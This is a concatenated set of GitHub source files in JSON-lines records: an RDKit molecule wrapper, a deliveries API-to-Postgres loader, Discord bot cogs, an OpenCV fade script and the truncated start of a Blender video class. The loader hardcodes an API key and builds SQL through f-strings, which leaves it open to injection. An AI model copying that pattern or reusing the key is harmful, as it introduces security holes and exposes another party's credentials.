info = opt.get('bitInfo', None)\n radius = opt.get('radius', 4)\n fp = Fingerprint(Chem.rdMolDescriptors.GetMorganFingerprintAsBitVect(self.Mol, radius, bitInfo=info))\n elif fptype == \"pharm2d\":\n fp = Fingerprint(Generate.Gen2DFingerprint(self.Mol, Gobbi_Pharm2D.factory))\n else:\n raise ValueError(\"%s is not a recognised RDKit Fingerprint type\" % fptype)\n return fp\n\n def calccharges(self, model='gasteiger'):\n \"\"\"Calculate partial charges for a molecule. By default the Gasteiger\n charge model is used.\n\n Parameters\n ----------\n model : str (default=\"gasteiger\")\n Method for generating partial charges. Supported models:\n * gasteiger\n * mmff94\n \"\"\"\n self._clear_cache()\n if model.lower() == 'gasteiger':\n ComputeGasteigerCharges(self.Mol, nIter=50)\n elif model.lower() == 'mmff94':\n fps = AllChem.MMFFGetMoleculeProperties(self.Mol)\n if fps is None:\n raise Exception('Could not charge molecule \"%s\"' % self.title)\n for i, atom in enumerate(self.Mol.GetAtoms()):\n atom.SetDoubleProp('_MMFF94Charge', fps.GetMMFFPartialCharge(i))\n else:\n raise ValueError('The \"%s\" is not supported in RDKit backend' %\n model)\n if np.isnan(self.charges).any() or np.isinf(self.charges).any():\n warnings.warn('Some partial charges for molecule \"%s\" are not '\n 'finite (NaN, +/-Inf).' % self.title, UserWarning)\n\n def localopt(self, forcefield=\"uff\", steps=500):\n \"\"\"Locally optimize the coordinates.\n\n Optional parameters:\n forcefield -- default is \"uff\". See the forcefields variable\n for a list of available forcefields.\n steps -- default is 500\n\n If the molecule does not have any coordinates, make3D() is\n called before the optimization.\n \"\"\"\n forcefield = forcefield.lower()\n if self.Mol.GetNumConformers() == 0:\n self.make3D(forcefield)\n _forcefields[forcefield](self.Mol, maxIters=steps)\n\n def make3D(self, forcefield=\"mmff94\", steps=50):\n \"\"\"Generate 3D coordinates.\n\n Optional parameters:\n forcefield -- default is \"uff\". See the forcefields variable\n for a list of available forcefields.\n steps -- default is 50\n\n Once coordinates are generated, a quick\n local optimization is carried out with 50 steps and the\n UFF forcefield. Call localopt() if you want\n to improve the coordinates further.\n \"\"\"\n forcefield = forcefield.lower()\n success = AllChem.EmbedMolecule(self.Mol,\n useExpTorsionAnglePrefs=True,\n useBasicKnowledge=True,\n enforceChirality=True,\n )\n if success == -1:\n raise Exception(\"Embedding failed!\")\n\n self.localopt(forcefield, steps)\n self._clear_cache()\n\n def make2D(self):\n \"\"\"Generate 2D coordinates for molecule\"\"\"\n AllChem.Compute2DCoords(self.Mol)\n self._clear_cache()\n\n def __getstate__(self):\n if self._source is None:\n state = {'Mol': self.Mol,\n 'source': None,\n 'protein': self.protein,\n 'data': dict([(k, self.Mol.GetProp(k))\n for k in self.Mol.GetPropNames(includePrivate=True)]),\n 'dicts': {'atom_dict': self._atom_dict,\n 'ring_dict': self._ring_dict,\n 'res_dict': self._res_dict,\n }\n }\n else:\n state = {'Mol': None,\n 'source': self._source,\n 'data': {},\n 'protein': self.protein,\n 'dicts': {'atom_dict': None,\n 'ring_dict': None,\n 'res_dict': None,\n }\n }\n return state\n\n def __setstate__(self, state):\n Molecule.__init__(self, Mol=state['Mol'],\n source=state['source'],\n protein=state['protein'])\n if state['data']:\n self.data.update(state['data'])\n self._atom_dict = state['dicts']['atom_dict']\n self._ring_dict = state['dicts']['ring_dict']\n self._res_dict = state['dicts']['res_dict']\n\n\ndef diverse_conformers_generator(mol, n_conf=10, method='etkdg', seed=None,\n rmsd=0.5):\n \"\"\"Produce diverse conformers using current conformer as starting point.\n Each conformer is a copy of original molecule object.\n\n .. versionadded:: 0.6\n\n Parameters\n ----------\n mol : oddt.toolkit.Molecule object\n Molecule for which generating conformers\n\n n_conf : int (default=10)\n Targer number of conformers\n\n method : string (default='etkdg')\n Method for generating conformers. Supported methods: \"etkdg\", \"etdg\",\n \"kdg\", \"dg\".\n\n seed : None or int (default=None)\n Random seed\n\n rmsd : float (default=0.5)\n The minimum RMSD that separates conformers to be ratained (otherwise,\n they will be pruned).\n\n Returns\n -------\n mols : list of oddt.toolkit.Molecule objects\n Molecules with diverse conformers\n \"\"\"\n mol_clone = mol.clone\n if method == 'etkdg':\n params = {'useExpTorsionAnglePrefs': True,\n 'useBasicKnowledge': True}\n elif method == 'etdg':\n params = {'useExpTorsionAnglePrefs': True,\n 'useBasicKnowledge': False}\n elif method == 'kdg':\n params = {'useExpTorsionAnglePrefs': False,\n 'useBasicKnowledge': True}\n elif method == 'dg':\n params = {}\n else:\n raise ValueError('Method %s is not implemented' % method)\n params['pruneRmsThresh'] = rmsd\n if seed is None:\n seed = -1\n AllChem.EmbedMultipleConfs(mol_clone.Mol, numConfs=n_conf, randomSeed=seed,\n **params)\n AllChem.AlignMol(mol_clone.Mol, mol.Mol)\n AllChem.AlignMolConformers(mol_clone.Mol)\n\n out = []\n mol_clone2 = mol.clone\n mol_clone2.Mol.RemoveAllConformers()\n for conformer in mol_clone.Mol.GetConformers():\n mol_output_clone = mol_clone2.clone\n mol_output_clone.Mol.AddConformer(conformer)\n out.append(mol_output_clone)\n return out\n\n\nclass AtomStack(object):\n def __init__(self, Mol):\n self.Mol = Mol\n\n def __iter__(self):\n for i in range(self.Mol.GetNumAtoms()):\n yield Atom(self.Mol.GetAtomWithIdx(i))\n\n def __len__(self):\n return self.Mol.GetNumAtoms()\n\n def __getitem__(self, i):\n if 0 <= i < self.Mol.GetNumAtoms():\n return Atom(self.Mol.GetAtomWithIdx(int(i)))\n else:\n raise AttributeError(\"There is no atom with ID %i\" % i)\n\n\nclass Atom(object):\n \"\"\"Represent an rdkit Atom.\n\n Required parameters:\n Atom -- an RDKit Atom\n\n Attributes:\n atomicnum, coords, formalcharge\n\n The original RDKit Atom can be accessed using the attribute:\n Atom\n \"\"\"\n\n def __init__(self, Atom):\n self.Atom = Atom\n\n @property\n def atomicnum(self):\n return self.Atom.GetAtomicNum()\n\n @property\n def coords(self):\n owningmol = self.Atom.GetOwningMol()\n if owningmol.GetNumConformers() == 0:\n return (0, 0, 0)\n idx = self.Atom.GetIdx()\n atomcoords = owningmol.GetConformer().GetAtomPosition(idx)\n return (atomcoords[0], atomcoords[1], atomcoords[2])\n\n @property\n def formalcharge(self):\n return self.Atom.GetFormalCharge()\n\n # ODDT #\n @property\n @deprecated('RDKit is 0-based and OpenBabel is 1-based. '\n 'State which convention you desire and use `idx0` or `idx1`.')\n def idx(self):\n \"\"\"Note that this index is 1-based and RDKit's internal index in 0-based.\n Changed to be compatible with OpenBabel\"\"\"\n return self.idx1\n\n @property\n def idx1(self):\n \"\"\"Note that this index is 1-based and RDKit's internal index in 0-based.\n Changed to be compatible with OpenBabel\"\"\"\n return self.Atom.GetIdx() + 1\n\n @property\n def idx0(self):\n \"\"\" Note that this index is 0-based as RDKit's\"\"\"\n return self.Atom.GetIdx()\n\n @property\n def neighbors(self):\n return [Atom(a) for a in self.Atom.GetNeighbors()]\n\n @property\n def bonds(self):\n return [Bond(b) for b in self.Atom.GetBonds()]\n\n @property\n def partialcharge(self):\n fields = ['_MMFF94Charge', '_GasteigerCharge', '_TriposPartialCharge']\n for f in fields:\n if self.Atom.HasProp(f):\n return self.Atom.GetDoubleProp(f)\n return 0.\n\n def __str__(self):\n if hasattr(self, \"coords\"):\n return \"Atom: %d (%.2f %.2f %.2f)\" % (self.atomicnum,\n self.coords[0],\n self.coords[1],\n self.coords[2])\n else:\n return \"Atom: %d (no coords)\" % (self.atomicnum)\n\n\nclass BondStack(object):\n def __init__(self, Mol):\n self.Mol = Mol\n\n def __iter__(self):\n for i in range(self.Mol.GetNumBonds()):\n yield Bond(self.Mol.GetBondWithIdx(i))\n\n def __len__(self):\n return self.Mol.GetNumBonds()\n\n def __getitem__(self, i):\n if 0 <= i < self.Mol.GetNumBonds():\n return Bond(self.Mol.GetBondWithIdx(i))\n else:\n raise AttributeError(\"There is no bond with Idx %i\" % i)\n\n\nclass Bond(object):\n def __init__(self, Bond):\n self.Bond = Bond\n\n @property\n def order(self):\n return self.Bond.GetBondTypeAsDouble()\n\n @property\n def atoms(self):\n return (Atom(self.Bond.GetBeginAtom()), Atom(self.Bond.GetEndAtom()))\n\n @property\n def isrotor(self):\n Chem.GetSSSR(self.Bond.GetOwningMol())\n if self.Bond.IsInRing():\n return False\n rot_mol = Chem.MolFromSmarts(SMARTS_DEF['rot_bond'])\n Chem.GetSSSR(rot_mol) # MolFromSmarts don't initialize ring info\n rot_bond = rot_mol.GetBondWithIdx(0)\n if self.Bond.Match(rot_bond):\n a1, a2 = self.atoms\n if a1.atomicnum > 1 and a2.atomicnum > 1:\n a1_n = sum(n.atomicnum > 1 for n in a1.neighbors)\n a2_n = sum(n.atomicnum > 1 for n in a2.neighbors)\n if a1_n > 1 and a2_n > 1:\n return True\n return False\n\n\nclass Residue(object):\n \"\"\"Represent a RDKit residue.\n\n Required parameter:\n ParentMol -- Parent molecule (Mol) object\n path -- atoms path of a residue\n\n Attributes:\n atoms, idx, name.\n\n (refer to the Open Babel library documentation for more info).\n\n The Mol object constucted of residues' atoms can be accessed using the attribute:\n Residue\n \"\"\"\n\n def __init__(self, ParentMol, atom_path, idx=0):\n self.ParentMol = ParentMol\n self.atom_path = tuple(map(int, atom_path))\n assert len(self.atom_path) > 0\n self.atommap = {}\n self.bonds = []\n for i, j in combinations(self.atom_path, 2):\n b = self.ParentMol.GetBondBetweenAtoms(i, j)\n if b:\n self.bonds.append(b.GetIdx())\n self.Residue = Chem.PathToSubmol(self.ParentMol, self.bonds, atomMap=self.atommap)\n self.MonomerInfo = self.ParentMol.GetAtomWithIdx(self.atom_path[0]).GetMonomerInfo()\n self.atommap = dict((v, k) for k, v in self.atommap.items())\n self._idx = idx\n\n @property\n def atoms(self):\n \"\"\"List of Atoms in the Residue\"\"\"\n if len(self.atom_path) == 1:\n return [Atom(self.ParentMol.GetAtomWithIdx(self.atom_path[0]))]\n else:\n return AtomStack(self.Residue)\n\n @property\n @deprecated('Use `idx0` instead.')\n def idx(self):\n \"\"\"Internal index (0-based) of the Residue\"\"\"\n return self._idx\n\n @property\n def idx0(self):\n \"\"\"Internal index (0-based) of the Residue\"\"\"\n return self._idx\n\n @property\n def number(self):\n \"\"\"Residue number\"\"\"\n return self.MonomerInfo.GetResidueNumber() if self.MonomerInfo else 0\n\n @property\n def chain(self):\n \"\"\"Resdiue chain ID\"\"\"\n return self.MonomerInfo.GetChainId() if self.MonomerInfo else ''\n\n @property\n def name(self):\n \"\"\"Residue name\"\"\"\n return self.MonomerInfo.GetResidueName() if self.MonomerInfo else 'UNL'\n\n def __iter__(self):\n \"\"\"Iterate over the Atoms of the Residue.\n\n This allows constructions such as the following:\n for atom in residue:\n print(atom)\n \"\"\"\n return iter(self.atoms)\n\n\nclass ResidueStack(object):\n def __init__(self, Mol, paths):\n self.Mol = Mol\n self.paths = paths\n\n def __iter__(self):\n for i in range(len(self.paths)):\n yield Residue(self.Mol, self.paths[i], idx=i)\n\n def __len__(self):\n return len(self.paths)\n\n def __getitem__(self, i):\n if 0 <= i < len(self.paths):\n return Residue(self.Mol, self.paths[i], idx=i)\n else:\n raise AttributeError(\"There is no residue with ID %i\" % i)\n\n\nclass Smarts(object):\n \"\"\"A Smarts Pattern Matcher\n\n Required parameters:\n smartspattern\n\n Methods:\n findall(molecule)\n\n Example:\n >>> mol = readstring(\"smi\",\"CCN(CC)CC\") # triethylamine\n >>> smarts = Smarts(\"[#6][#6]\") # Matches an ethyl group\n >>> print(smarts.findall(mol))\n [(0, 1), (3, 4), (5, 6)]\n\n The numbers returned are the indices (starting from 0) of the atoms\n that match the SMARTS pattern. In this case, there are three matches\n for each of the three ethyl groups in the molecule.\n \"\"\"\n def __init__(self, smartspattern):\n \"\"\"Initialise with a SMARTS pattern.\"\"\"\n if isinstance(smartspattern, Molecule):\n self.rdksmarts = smartspattern.Mol\n else:\n self.rdksmarts = Chem.MolFromSmarts(smartspattern)\n if not self.rdksmarts:\n raise IOError(\"Invalid SMARTS pattern.\")\n\n def match(self, molecule):\n \"\"\"Find all matches of the SMARTS pattern to a particular molecule.\n\n Required parameters:\n molecule\n \"\"\"\n return molecule.Mol.HasSubstructMatch(self.rdksmarts)\n\n def findall(self, molecule, unique=True):\n \"\"\"Find all matches of the SMARTS pattern to a particular molecule.\n\n Required parameters:\n molecule\n \"\"\"\n return molecule.Mol.GetSubstructMatches(self.rdksmarts, uniquify=unique)\n\n\nclass MoleculeData(object):\n \"\"\"Store molecule data in a dictionary-type object\n\n Required parameters:\n Mol -- an RDKit Mol\n\n Methods and accessor methods are like those of a dictionary except\n that the data is retrieved on-the-fly from the underlying Mol.\n\n Example:\n >>> mol = next(readfile(\"sdf\", 'head.sdf'))\n >>> data = mol.data\n >>> print(data)\n {'Comment': 'CORINA 2.61 0041 25.10.2001', 'NSC': '1'}\n >>> print(len(data), data.keys(), data.has_key(\"NSC\"))\n 2 ['Comment', 'NSC'] True\n >>> print(data['Comment'])\n CORINA 2.61 0041 25.10.2001\n >>> data['Comment'] = 'This is a new comment'\n >>> for k,v in data.items():\n ... print(k, \"-->\", v)\n Comment --> This is a new comment\n NSC --> 1\n >>> del data['NSC']\n >>> print(len(data), data.keys(), data.has_key(\"NSC\"))\n 1 ['Comment'] False\n \"\"\"\n def __init__(self, Mol):\n self._mol = Mol\n\n def _testforkey(self, key):\n if key not in self:\n raise KeyError(\"'%s'\" % key)\n\n def keys(self):\n return self._mol.GetPropNames()\n\n def values(self):\n return [self._mol.GetProp(x) for x in self.keys()]\n\n def items(self):\n return zip(self.keys(), self.values())\n\n def __iter__(self):\n return iter(self.keys())\n\n def iteritems(self):\n return iter(self.items())\n\n def __len__(self):\n return len(self.keys())\n\n def __contains__(self, key):\n return self._mol.HasProp(key)\n\n def __delitem__(self, key):\n self._testforkey(key)\n self._mol.ClearProp(key)\n\n def clear(self):\n for key in self:\n del self[key]\n\n def has_key(self, key):\n return key in self\n\n def update(self, dictionary):\n for k, v in dictionary.items():\n self[k] = v\n\n def __getitem__(self, key):\n self._testforkey(key)\n return self._mol.GetProp(key)\n\n def __setitem__(self, key, value):\n self._mol.SetProp(key, str(value))\n\n def to_dict(self):\n return self._mol.GetPropsAsDict()\n\n def __repr__(self):\n return self.to_dict().__repr__()\n\n\nclass Fingerprint(object):\n \"\"\"A Molecular Fingerprint.\n\n Required parameters:\n fingerprint -- a vector calculated by one of the fingerprint methods\n\n Attributes:\n fp -- the underlying fingerprint object\n bits -- a list of bits set in the Fingerprint\n\n Methods:\n The \"|\" operator can be used to calculate the Tanimoto coeff. For example,\n given two Fingerprints 'a', and 'b', the Tanimoto coefficient is given by:\n tanimoto = a | b\n \"\"\"\n def __init__(self, fingerprint):\n self.fp = fingerprint\n\n def __or__(self, other):\n return rdkit.DataStructs.FingerprintSimilarity(self.fp, other.fp)\n\n def __getattr__(self, attr):\n if attr == \"bits\":\n # Create a bits attribute on-the-fly\n return list(self.fp.GetOnBits())\n else:\n raise AttributeError(\"Fingerprint has no attribute %s\" % attr)\n\n def __str__(self):\n return \", \".join([str(x) for x in _compressbits(self.fp)])\n\n @property\n def raw(self):\n return np.array(self.fp)\n\n\ndef _compressbits(bitvector, wordsize=32):\n \"\"\"Compress binary vector into vector of long ints.\n\n This function is used by the Fingerprint class.\n\n >>> _compressbits([0, 1, 0, 0, 0, 1], 2)\n [2, 0, 2]\n \"\"\"\n ans = []\n for start in range(0, len(bitvector), wordsize):\n compressed = 0\n for i in range(wordsize):\n if i + start < len(bitvector) and bitvector[i + start]:\n compressed += 2**i\n ans.append(compressed)\n\n return ans\n\n\nif __name__ == \"__main__\": # pragma: no cover\n import doctest\n doctest.testmod()\n","repo_name":"oddt/oddt","sub_path":"oddt/toolkits/rdk.py","file_name":"rdk.py","file_ext":"py","file_size_in_byte":60694,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"67"} +{"seq_id":"74185049174","text":"import requests\nimport json\nimport psycopg2\nfrom datetime import datetime\n\nurl = 'https://d5d04q7d963eapoepsqr.apigw.yandexcloud.net'\nnickname = \"yunikonius\"\ncohort = 14\n\n\nheaders = {\n \"X-API-KEY\": \"25c27781-8fde-4b30-a22e-524044a7580f\",\n \"X-Nickname\": nickname,\n \"X-Cohort\": str(cohort)\n}\n\nmethod_url = '/deliveries'\n\ncurrent_datetime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\npayload = {'sort_field': '_id', 'sort_direction': 'asc', 'from': '2023-07-01 00:00:00', 'to': f'{current_datetime}'}\n\n\ndef deliveries_loader_from_src():\n r = requests.get(url + method_url, params=payload, headers=headers)\n response_dict_deliveries = json.loads(r.content)\n return response_dict_deliveries\n\n\ndef deliveries_loader_to_stg(response_dict_deliveries):\n conn = psycopg2.connect(\n host=\"localhost\",\n port=\"15432\",\n database=\"de\",\n user=\"jovyan\",\n password=\"jovyan\"\n )\n cursor = conn.cursor()\n\n for delivery in response_dict_deliveries:\n order_id = delivery[\"order_id\"]\n order_ts = delivery[\"order_ts\"]\n delivery_id = delivery[\"delivery_id\"]\n courier_id = delivery[\"courier_id\"]\n address = delivery[\"address\"]\n delivery_ts = delivery[\"delivery_ts\"]\n rate = delivery[\"rate\"]\n sum = delivery[\"sum\"]\n tip_sum = delivery[\"tip_sum\"]\n sql = f\"INSERT INTO stg.courier_system_deliveries (order_id, order_ts, delivery_id, courier_id, address, delivery_ts, rate, sum, tip_sum)\" \\\n f\" VALUES ('{order_id}', '{order_ts}', '{delivery_id}', '{courier_id}', '{address}', '{delivery_ts}', '{rate}', '{sum}', '{tip_sum}') \" \\\n f\"ON CONFLICT (delivery_id) DO UPDATE SET \" \\\n f\"order_id = EXCLUDED.order_id, \" \\\n f\"order_ts = EXCLUDED.order_ts, \" \\\n f\"delivery_id = EXCLUDED.delivery_id, \" \\\n f\"courier_id = EXCLUDED.courier_id, \" \\\n f\"address = EXCLUDED.address, \" \\\n f\"delivery_ts = EXCLUDED.delivery_ts, \" \\\n f\"rate = EXCLUDED.rate, \" \\\n f\"sum = EXCLUDED.sum, \" \\\n f\"tip_sum = EXCLUDED.tip_sum;\"\n cursor.execute(sql)\n\n conn.commit()\n cursor.close()\n conn.close()\n\n\n#response_dict_deliveries = deliveries_loader_from_src()\n#deliveries_loader_to_stg(response_dict_deliveries)\n\n","repo_name":"Yunikonius/de-project-sprint-5","sub_path":"src/dags/Project_5_deliveries_api_loader.py","file_name":"Project_5_deliveries_api_loader.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74378867732","text":"import asyncio\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom time import sleep\n\nimport discord\nfrom discord.ext import commands, tasks\n\nfrom bot_utils import send_invitation, handle_invite_confirmed\nfrom calendar_service import CalendarService\nfrom constants import (\n MYSTERY_DINNER_CONFIRMATION_EMOJI,\n MYSTERY_DINNER_CANCEL_EMOJI,\n NBA_CONFIRMATION_EMOJI,\n)\nfrom config import peachorobo_config\nfrom db import DBService\nfrom nba import (\n get_most_recent_game_with_retry,\n get_team_id,\n get_player_id,\n get_video_data_with_retry,\n HighlightData,\n)\nfrom wack_utils import (\n get_live_num_sales,\n get_internal_num_sales,\n wack_has_been_run,\n)\nfrom utils import parse_raw_datetime, get_pretty_datetime\n\nintents = discord.Intents().default()\nintents.members = True\n\n\ndef _prefix_callable(_bot, _msg):\n return peachorobo_config.bot_command_prefix\n\n\nbot = commands.Bot(command_prefix=_prefix_callable, intents=intents)\n\n\nasync def on_command_error(ctx, error):\n await ctx.channel.send(error)\n\n\ndef check_if_mystery_dinner_channel(ctx):\n if ctx.channel.id != peachorobo_config.channel_id:\n raise commands.CheckFailure(\n message=\"Can only be used in the Mystery Dinner channel\"\n )\n return True\n\n\nclass PreDinner(commands.Cog):\n \"\"\"utilities that can be used before a mystery dinner is scheduled\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n async def cog_command_error(self, ctx, error):\n await on_command_error(ctx, error)\n\n @commands.command(\n help=\"Schedule a mystery dinner using a date and time\",\n usage=\"next friday at 6pm\",\n )\n @commands.check(check_if_mystery_dinner_channel)\n async def schedule(self, ctx: commands.Context, *, raw_datetime: str):\n datetime_obj = parse_raw_datetime(raw_datetime)\n mystery_dinner_time = get_pretty_datetime(datetime_obj)\n await send_invitation(ctx, mystery_dinner_time)\n\n def is_invite_confirmed(reaction, user):\n return (\n user == ctx.author\n and str(reaction.emoji) == MYSTERY_DINNER_CONFIRMATION_EMOJI\n )\n\n await self.bot.wait_for(\"reaction_add\", timeout=60.0, check=is_invite_confirmed)\n\n await handle_invite_confirmed(\n ctx,\n mystery_dinner_time,\n datetime_obj,\n )\n\n @commands.command(help=\"Get information about the next upcoming mystery dinner\")\n @commands.check_any(\n commands.dm_only(), commands.check(check_if_mystery_dinner_channel)\n )\n async def remindme(self, ctx):\n next_dinner = DBService.get_latest_mystery_dinner(self.bot)\n if not next_dinner:\n raise commands.CommandError(\"No upcoming dinner\")\n is_dm = ctx.channel.type == discord.ChannelType.private\n if is_dm:\n pairing = next(\n (\n pairing\n for pairing in next_dinner.pairings\n if pairing.user.id == ctx.author.id\n ),\n None,\n )\n if not pairing:\n raise commands.CommandError(\"No pairing found\")\n recipient = pairing.matched_with\n await ctx.author.send(\n f\"The next dinner with id {next_dinner.id} will be {get_pretty_datetime(next_dinner.time)}. \"\n f\"The hangouts link is {next_dinner.calendar.get('uri')}. \"\n f\"You're getting dinner for {recipient.display_name}\"\n )\n else:\n await ctx.channel.send(\n f\"The next dinner with id {next_dinner.id} will be {get_pretty_datetime(next_dinner.time)}. \"\n f\"The hangouts link is {next_dinner.calendar.get('uri')}\"\n )\n\n\nclass PostDinner(commands.Cog):\n \"\"\"utilities after a mystery dinner has been scheduled\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.next_dinner = None\n\n async def cog_command_error(self, ctx, error):\n await on_command_error(ctx, error)\n\n async def cog_check(self, _ctx):\n next_dinner = DBService.get_latest_mystery_dinner(self.bot)\n self.next_dinner = next_dinner\n if not self.next_dinner:\n raise commands.CommandError(message=\"No upcoming dinners found\")\n return True\n\n @commands.command(help=\"Cancels the next mystery dinner\")\n @commands.check(check_if_mystery_dinner_channel)\n async def cancel(self, ctx):\n assert self.next_dinner is not None\n cancel_message = await ctx.channel.send(\n content=f\"Are you sure you want to cancel the next dinner with id {self.next_dinner.id} on \"\n f\"{get_pretty_datetime(self.next_dinner.time)}. \"\n f\"React with {MYSTERY_DINNER_CANCEL_EMOJI} to confirm.\"\n )\n await cancel_message.add_reaction(MYSTERY_DINNER_CANCEL_EMOJI)\n\n def is_confirmed(reaction, user):\n return (\n user == ctx.author\n and str(reaction.emoji) == MYSTERY_DINNER_CANCEL_EMOJI\n )\n\n await self.bot.wait_for(\"reaction_add\", timeout=60.0, check=is_confirmed)\n event_id = self.next_dinner.calendar.get(\"id\")\n calendar_service = CalendarService()\n calendar_service.delete_event(event_id)\n DBService.cancel_latest_mystery_dinner()\n await ctx.channel.send(\n f\"The next dinner with id {self.next_dinner.id} on {get_pretty_datetime(self.next_dinner.time)} \"\n f\"was cancelled @everyone\"\n )\n\n @commands.command(\n help=\"Send an anonymous message to the person you're gifting\",\n usage=\"your food is here!\",\n )\n @commands.dm_only()\n async def yourfoodshere(self, ctx, *, message: str):\n assert self.next_dinner is not None\n author = ctx.author\n pairing = next(\n (\n pairing\n for pairing in self.next_dinner.pairings\n if pairing.user.id == author.id\n ),\n None,\n )\n if not pairing:\n raise commands.CommandError(\"No pairing found\")\n matched_with_user = pairing.matched_with\n await matched_with_user.send(f\"Your gifter says via Peacho: {message}\")\n await ctx.author.send(\n f\"Message successfully sent to recipient {matched_with_user.display_name}.\"\n )\n\n @commands.command(\n help=\"Send an anonymous message to your benefactor\",\n usage=\"where's my food?\",\n )\n @commands.dm_only()\n async def wheresmyfood(self, ctx, *, message: str):\n assert self.next_dinner is not None\n author = ctx.author\n pairing = next(\n (\n pairing\n for pairing in self.next_dinner.pairings\n if pairing.matched_with.id == author.id\n ),\n None,\n )\n if not pairing:\n raise commands.CommandError(\"No pairing found\")\n gifter = pairing.user\n await gifter.send(f\"Your recipient says via Peacho: {message}\")\n await ctx.author.send(f\"Message successfully sent to your gifter\")\n\n\nclass WackWatch(commands.Cog):\n \"\"\"utility to monitor wack logs\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.watch.start()\n # want to only send each alert once. need some kind of hash to tell us if we've sent that kind of alert before\n # and avoid sending it again\n self.messages_key = None\n\n def cog_unload(self):\n self.watch.cancel()\n\n @commands.command(\n help=\"Manually run wack watch\",\n )\n async def wackwatch(self, ctx):\n await ctx.send(\"Manually running wack watch\")\n await self.watch(ctx=ctx, verbose=True)\n await ctx.send(f\"Finished wack watch\")\n\n @tasks.loop(minutes=5.0)\n async def watch(self, ctx=None, verbose=False) -> None:\n messages = []\n channel = (\n ctx\n if ctx is not None\n else self.bot.get_channel(peachorobo_config.debug_channel_id)\n )\n try:\n did_run = wack_has_been_run()\n if did_run and verbose:\n messages.append(\"Wack ran in last 5 minutes\")\n elif not did_run:\n messages.append(\"Wack has not run for more than 5 minutes. ERROR\")\n retries = 12\n live_num_sales = await get_live_num_sales()\n while True:\n internal_num_sales = get_internal_num_sales()\n if live_num_sales != internal_num_sales:\n if retries > 0:\n retries -= 1\n sleep(10)\n continue\n messages.append(\n f\"Wack error! {internal_num_sales} sales in Wack vs {live_num_sales} sales on etsy.com\"\n )\n break\n else:\n if verbose:\n messages.append(\n f\"Number of sales in Wack ({internal_num_sales}) matches number of sales on etsy.com ({live_num_sales})\"\n )\n break\n except Exception as e:\n messages.append(f\"Error looking up last wack run: {e}\")\n new_messages_key = hash(tuple(messages))\n if new_messages_key != self.messages_key:\n self.messages_key = new_messages_key\n for message in messages:\n await channel.send(message)\n\n @watch.before_loop\n async def before_watch(self):\n await self.bot.wait_until_ready()\n\n\nclass NBAHighlights(commands.Cog):\n \"\"\"Get uri for nba highlights\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(\n help=\"Get highlights from the most recent NBA game\",\n usage=\"DEN Nikola Jokic\",\n )\n async def highlights(self, ctx, team_abbreviation: str, *, player_name: str):\n try:\n team_id = get_team_id(team_abbreviation.upper())\n except Exception as e:\n await ctx.send(f\"Error getting team {e}\")\n return\n try:\n player_id = get_player_id(player_name.title())\n except Exception as e:\n await ctx.send(f\"Error getting player {e}\")\n return\n\n await ctx.send(\n f\"Getting the msot recent game {player_name} on {team_abbreviation}, please be patient...\"\n )\n loop = asyncio.get_event_loop()\n most_recent_game_data = await loop.run_in_executor(\n ThreadPoolExecutor(), get_most_recent_game_with_retry, team_id, player_id\n )\n if most_recent_game_data is None:\n await ctx.send(\n f\"Sorry, couldn't get the most recent game for {player_name}\"\n )\n return\n\n game_description = (\n f\"{most_recent_game_data.home_team} vs {most_recent_game_data.away_team} on \"\n f\"{most_recent_game_data.game_date.strftime('%A')} {most_recent_game_data.game_date}\"\n )\n game_message = await ctx.send(\n f\"Found a game: {game_description}. Show {len(most_recent_game_data.plays)} highlights now?\"\n )\n await game_message.add_reaction(NBA_CONFIRMATION_EMOJI)\n\n def is_confirmed(reaction, user):\n return user == ctx.author and str(reaction.emoji) == NBA_CONFIRMATION_EMOJI\n\n await self.bot.wait_for(\"reaction_add\", timeout=60.0, check=is_confirmed)\n\n for play_data in most_recent_game_data.plays:\n video_data = await get_video_data_with_retry(\n HighlightData(\n game_id=most_recent_game_data.game_id, event_id=play_data.event_id\n )\n )\n if video_data is None:\n continue\n else:\n await ctx.send(f\"{video_data.description}\\n{video_data.uri}\")\n","repo_name":"jzengg/peachorobo","sub_path":"peachorobo/cogs.py","file_name":"cogs.py","file_ext":"py","file_size_in_byte":11871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31370049939","text":"import cv2, time\nimport numpy as np\n\ndef fade(img1, img2):\n\n\timg1 = cv2.imread(img1)\n\timg2 = cv2.imread(img2)\n\n\talturaB, larguraB, _ = img2.shape\n\timg1 = cv2.resize(img1, (larguraB, alturaB))\n\n\tfor c in range(1, 41):\n\n\t\tfade = cv2.addWeighted(img1, 0.025*c, img2, 0.025*(40-c), 0)\n\t\tcv2.imshow(\"Fade\", fade)\n\t\tif c == 2:\n\t\t\ttime.sleep(0.3)\n\t\tif c == 40:\n\t\t\tcv2.waitKey(0)\n\t\t\tcv2.imwrite(\"../src/output/fade{}.png\".format(c), fade)\n\t\telse:\n\t\t\tcv2.waitKey(1)\n\t\t\ttime.sleep(0.04)\n\t\t\tcv2.imwrite(\"../src/output/fade{}.png\".format(c), fade)\n\nfade(\"../src/input/imagem1.jpg\", \"../src/input/imagem2.jpg\")\n","repo_name":"ja1felipe/Fade","sub_path":"src/fade.py","file_name":"fade.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34751110941","text":"import imp\nfrom Visualization import Member as e\nfrom Visualization import setRender\nfrom Visualization import initialization\nimport math as m\n#Load library\nimp.reload(e) \nimp.reload(setRender)\nimp.reload(initialization)\n\nclass CreateVideo():\n def __init__(self, \n i_s, \n d_h, \n v_o, \n fps, \n resolution,\n pathDirectory):\n '''Creates video in blender\n \n Args:\n i_s: \n list, initial state\n d_h:\n dictionary, deformation history\n v_o: \n integer, vertical offset-distance between horizontal paths\n Depending on the length of the elements this value can be\n varied by from 1 to 1000. For very short elements this\n ratio can have the value of 1. For complex structures\n this value can have up to 1000.\n Typical values are 1 and 50.\n fps: \n float, animation speed. This value can vary from 0.1 to 4 \n resolution:\n integer, quality of the animation. The 